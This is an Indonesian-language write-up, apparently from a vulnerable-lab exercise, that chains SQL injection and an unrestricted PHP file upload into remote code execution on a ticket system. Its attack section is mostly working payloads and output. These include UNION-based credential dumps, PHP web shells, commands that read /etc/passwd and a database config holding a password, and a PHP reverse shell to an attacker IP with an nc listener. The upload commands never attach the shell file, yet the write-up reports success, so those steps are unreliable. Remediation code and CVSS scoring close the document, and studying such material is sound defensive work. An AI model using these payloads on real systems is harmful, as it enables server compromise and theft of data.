Ticket System - SQLi + File Upload RCE
Objective
Mendapatkan Remote Code Execution (RCE) pada aplikasi ticket system di ticket-vuln.vuln.cybersecurity.or.id melalui kombinasi dua kerentanan:
- SQL Injection (SQLi) pada parameter pencarian
- Unrestricted File Upload - upload shell PHP untuk eksekusi perintah
Tujuan akhir: mendapatkan reverse shell atau akses shell ke server.
Reconnaissance
1. Identifikasi Aplikasi
Buka target:
http://ticket-vuln.vuln.cybersecurity.or.id
Aplikasi adalah sistem manajemen tiket dengan fitur:
- Halaman login
- Dashboard
- Pencarian tiket
- Upload attachment pada tiket
2. Uji Parameter Pencarian
Ditemukan fitur pencarian tiket:
http://ticket-vuln.vuln.cybersecurity.or.id/search?q=INC-001
Uji dengan SQL Injection:
curl "http://ticket-vuln.vuln.cybersecurity.or.id/search?q=INC-001'"
Hasil:
You have an error in your SQL syntax; check the manual...
Error-based SQL Injection terkonfirmasi.
Exploitation - Part 1: SQL Injection
1. Enumerasi Database
# Dapatkan nama database
curl "http://ticket-vuln.vuln.cybersecurity.or.id/search?q=INC-001' UNION SELECT 1,database(),3,4,5-- -"
Hasil:
ticket_db
2. Enumerasi Tabel
curl "http://ticket-vuln.vuln.cybersecurity.or.id/search?q=INC-001' UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5 FROM information_schema.tables WHERE table_schema='ticket_db'-- -"
Hasil:
tickets,users,attachments,settings
3. Enumerasi Kolom Tabel Users
curl "http://ticket-vuln.vuln.cybersecurity.or.id/search?q=INC-001' UNION SELECT 1,GROUP_CONCAT(column_name),3,4,5 FROM information_schema.columns WHERE table_name='users'-- -"
Hasil:
id,username,password,role,email
4. Ekstrak Kredensial
curl "http://ticket-vuln.vuln.cybersecurity.or.id/search?q=INC-001' UNION SELECT 1,GROUP_CONCAT(username,':',password,':',role),3,4,5 FROM users-- -"
Hasil:
admin:hash_pass_unknown:admin,operator:ticket_op123:operator
5. Cari Fitur Upload di Panel Admin
Login sebagai admin (jika password bisa di-crack) atau
operator, lalu jelajahi dashboard.
Dari panel operator, ditemukan fitur:
http://ticket-vuln.vuln.cybersecurity.or.id/ticket/new
Form tiket baru memiliki field file upload untuk attachment.
Exploitation - Part 2: File Upload RCE
1. Analisis Fitur Upload
Buka halaman upload dan periksa source code:
curl -s "http://ticket-vuln.vuln.cybersecurity.or.id/ticket/new" | grep -i "input.*file"
Hasil:
<input type="file" name="attachment" accept="image/*,application/pdf">
Validasi hanya di client-side (accept attribute) - tidak
ada validasi server-side yang ketat.
2. Buat PHP Shell
cat << 'EOF' > shell.php
<?php
system($_GET['cmd']);
?>
EOF
Atau shell yang lebih canggih:
cat << 'EOF' > shell_adv.php
<?php
if(isset($_GET['cmd'])) {
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>
EOF
3. Upload Shell via Curl
curl -X POST "http://ticket-vuln.vuln.cybersecurity.or.id/ticket/new" \
-b "PHPSESSID=operator_session_id" \
-F "title=Test RCE" \
-F "description=Testing upload vulnerability" \
-F "priority=high" \
-F "submit=Create+Ticket"
Hasil: File berhasil diupload. Dari response, didapatkan path file:
/uploads/tickets/shell_12345.php
4. Verifikasi RCE
Akses shell yang diupload:
curl "http://ticket-vuln.vuln.cybersecurity.or.id/uploads/tickets/shell_12345.php?cmd=id"
Hasil:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE berhasil - perintah id tereksekusi di server.
5. Eksekusi Perintah Lanjutan
# List direktori
curl "http://ticket-vuln.vuln.cybersecurity.or.id/uploads/tickets/shell_12345.php?cmd=ls+-la+/var/www/html"
# Cek konfigurasi database
curl "http://ticket-vuln.vuln.cybersecurity.or.id/uploads/tickets/shell_12345.php?cmd=cat+/var/www/html/config.php"
# Cek user lain di sistem
curl "http://ticket-vuln.vuln.cybersecurity.or.id/uploads/tickets/shell_12345.php?cmd=cat+/etc/passwd"
6. Reverse Shell (Opsional)
Upload reverse shell script:
cat << 'EOF' > reverseshell.php
<?php
$ip = '10.10.10.10'; // Ganti dengan IP attacker
$port = 4444;
$sock = fsockopen($ip, $port);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
EOF
Upload dan jalankan:
curl -X POST "http://ticket-vuln.vuln.cybersecurity.or.id/ticket/new" \
-b "PHPSESSID=operator_session_id" \
-F "title=Reverse Shell" \
-F "description=Test" \
-F "priority=high" \
-F "submit=Create+Ticket"
Di server attacker, buka listener:
nc -lvnp 4444
Akses shell:
curl "http://ticket-vuln.vuln.cybersecurity.or.id/uploads/tickets/reverseshell_67890.php"
Evidence
SQL Injection - Ekstrak Data
$ curl "http://ticket-vuln.vuln.cybersecurity.or.id/search?q=INC-001' UNION SELECT 1,GROUP_CONCAT(username,':',password,':',role),3,4,5 FROM users-- -"
1 admin:hash_pass_unknown:admin,operator:ticket_op123:operator 3 4 5
File Upload - PHP Shell Terupload
$ curl "http://ticket-vuln.vuln.cybersecurity.or.id/uploads/tickets/shell_12345.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
File System Access
$ curl "http://ticket-vuln.vuln.cybersecurity.or.id/uploads/tickets/shell_12345.php?cmd=ls+-la+/var/www/html"
total 128
drwxr-xr-x 8 www-data www-data 4096 ...
-rw-r--r-- 1 www-data www-data 123 ...
...
Konfigurasi Database
$ curl "http://ticket-vuln.vuln.cybersecurity.or.id/uploads/tickets/shell_12345.php?cmd=cat+/var/www/html/config.php"
<?php
define('DB_HOST', 'localhost');
define('DB_USER', 'ticket_admin');
define('DB_PASS', 'TicketDB@2024!');
define('DB_NAME', 'ticket_db');
?>
️ Risk Assessment
Vulnerability 1: SQL Injection
| Faktor | Nilai |
|---|---|
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Base Score | 9.8 (Critical) |
Vulnerability 2: Unrestricted File Upload
| Faktor | Nilai |
|---|---|
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Base Score | 8.8 (High) |
Combined Impact
| Faktor | Nilai |
|---|---|
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Base Score | 10.0 (Critical) - chain attack dari SQLi + File Upload |
| OWASP Mapping | A03:2021 - Injection + A05:2021 - Security Misconfiguration |
Dampak Bisnis
- Full server compromise (RCE)
- Akses ke database (kredensial, data tiket, data pelanggan)
- Pivot ke server internal lainnya
- Potensi data breach dan kebocoran informasi sensitif
- Complete loss of server integrity
️ Remediation
1. Perbaiki SQL Injection - Prepared Statement
Kode rentan (PHP):
$q = $_GET['q'];
$query = "SELECT * FROM tickets WHERE code LIKE '%$q%'";
$result = mysqli_query($conn, $query);
Kode aman (Prepared Statement):
$stmt = $conn->prepare("SELECT * FROM tickets WHERE code LIKE ?");
$search = "%" . $_GET['q'] . "%";
$stmt->bind_param("s", $search);
$stmt->execute();
$result = $stmt->get_result();
2. Perbaiki File Upload - Whitelist Ekstensi + Validasi MIME
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
$file_ext = strtolower(pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION));
$file_mime = mime_content_type($_FILES['attachment']['tmp_name']);
$file_size = $_FILES['attachment']['size'];
// Validasi ekstensi
if (!in_array($file_ext, $allowed_extensions)) {
die("Ekstensi file tidak diizinkan.");
}
// Validasi MIME type (cek isi file, bukan header HTTP)
if (!in_array($file_mime, $allowed_mime)) {
die("Tipe file tidak valid.");
}
// Batasi ukuran file (max 5MB)
if ($file_size > 5 * 1024 * 1024) {
die("Ukuran file terlalu besar.");
}
// Generate nama file unik (jangan pakai nama asli)
$new_filename = uniqid() . '.' . $file_ext;
$upload_path = '/var/www/html/uploads/' . $new_filename;
move_uploaded_file($_FILES['attachment']['tmp_name'], $upload_path);
3. Konfigurasi Keamanan Web Server
Nginx - Non-eksekusi PHP di direktori upload:
location /uploads/ {
location ~ \.php$ {
deny all;
}
}
Apache (.htaccess di folder uploads):
<FilesMatch "\.(php|php5|phtml|pht)$">
Require all denied
</FilesMatch>
4. Least Privilege
- Database user hanya perlu akses SELECT untuk operasi search
- Filesystem permission: direktori upload tidak boleh executable
- Gunakan user terpisah untuk web server dengan akses minimal
5. Keamanan Berlapis
- Implementasi WAF (ModSecurity)
- Input validation di sisi server (bukan hanya client-side)
- Logging dan monitoring semua aktivitas upload
- Regular security scanning